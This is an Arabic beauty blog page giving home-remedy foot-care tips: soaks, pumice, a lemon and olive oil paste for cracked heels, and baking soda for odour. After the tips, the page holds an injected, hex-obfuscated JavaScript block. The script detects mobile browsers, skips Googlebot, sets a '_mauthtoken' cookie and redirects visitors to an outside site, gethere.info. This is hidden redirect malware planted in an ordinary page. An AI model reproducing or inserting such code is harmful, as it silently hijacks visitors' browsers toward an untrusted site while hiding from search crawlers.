انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

كيفية العناية بالقدمين

كيفية العناية بالقدمين

كما جرت العادة يوميا تقف الام في المطبخ لساعات طويلة جدا لأعداد الطعام لعائلتها وتحضير كل ما تشتهي اليه النفس حتي تتمكن من إرضاء اسرتها والشعور بالسعادة مع عائلتها ولكن هذه الوظيفة التي تقوم بها الام يوميا تؤدي الى العديد من المشكلات الموجودة في القدمين مثل التورم او حدوث بعض التشققات بسبب طول الفترة التي تقفها علي قدميها يوميا وبما ان جمال المرأة كما ذكرنا سابقا جزء لا يتجزأ فان الاهتمام بقدميك امر مهم حتي تحصلي علي الاثارة والجاذبية لذا في هذا المقال نقدم لكم مجموعة من النصائح والارشادات التي تساعدكم في العناية بالقدمين

 

كيفية العناية بالقدمين
كيفية العناية بالقدمين

 

  • كيفية العناية بالقدمين
  • اولي العادات التي لابد ان تتعلميها وتتعودي عليها سريعا لما بها من فائدة استخدام الصابون المضاد للبكتريا في تنظيف قدميك مرتين يوميا مرة فور الاستيقاظ من النوم ومرة قبل الذهاب الي فراش النوم
  • تورم القدمين: يمكنك التخلص منه باستخدام الماء الدافئ وماء الورد ونقع قدميك في هذا الخليط مرة واحدة كل أسبوع
  • خشونة بشرة القدمين: من المشكلات التي تعاني منها الكثير من السيدات نظرا لكثرة الحركة في يومهم رطبي قدميك بالماء والصابون جيدا واستخدمي الحجر الخفاف لتنظيف الجوانب وبعد ذلك انقعي قدميك في الماء الدافئ المضاف اليه الملح لمدة ربع ساعة فقط وبعد ذلك اخرجيها من الماء المملح وجففيها جيدا
  • تشقق القدمين: يمكنك التخلص من التشقق الموجود في قدميك من خلال هذه الوصفة الطبيعية الرائعة ” ملعقة كبيرة من زيت الزيتون + ملعقتان من عصير الليمون + ملعقة من نشا الذرة + نصف ملعقة صغيرة من بيكربونات الصوديوم + نصف ملعقة من الملح ” استخدمي هذه الخلطة مرة واحدة أسبوعيا واتركيها على قدميك لمدة ساعة
  • ترطيب القدمين: (لتران من الماء المغلي + ربع كوب من النعناع _ ربع كوب من البقدونس + حفنة من البابونج + ملعقتان كبيرتان منخل التفاح + ثلاثة ملاعق من زيت الزيتون _ أربعة ملاعق صغيرة من الملح الخشن) انقعي قدميك في هذا الخليط ساعة او ساعتين يوميا
  • رائحة القدمين: لتتخلصي نهائيا من رائحة القدمين المزعجة ضعي القليل من بيكربونات الصوديوم على قدميك قبل ارتداء الجوارب

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.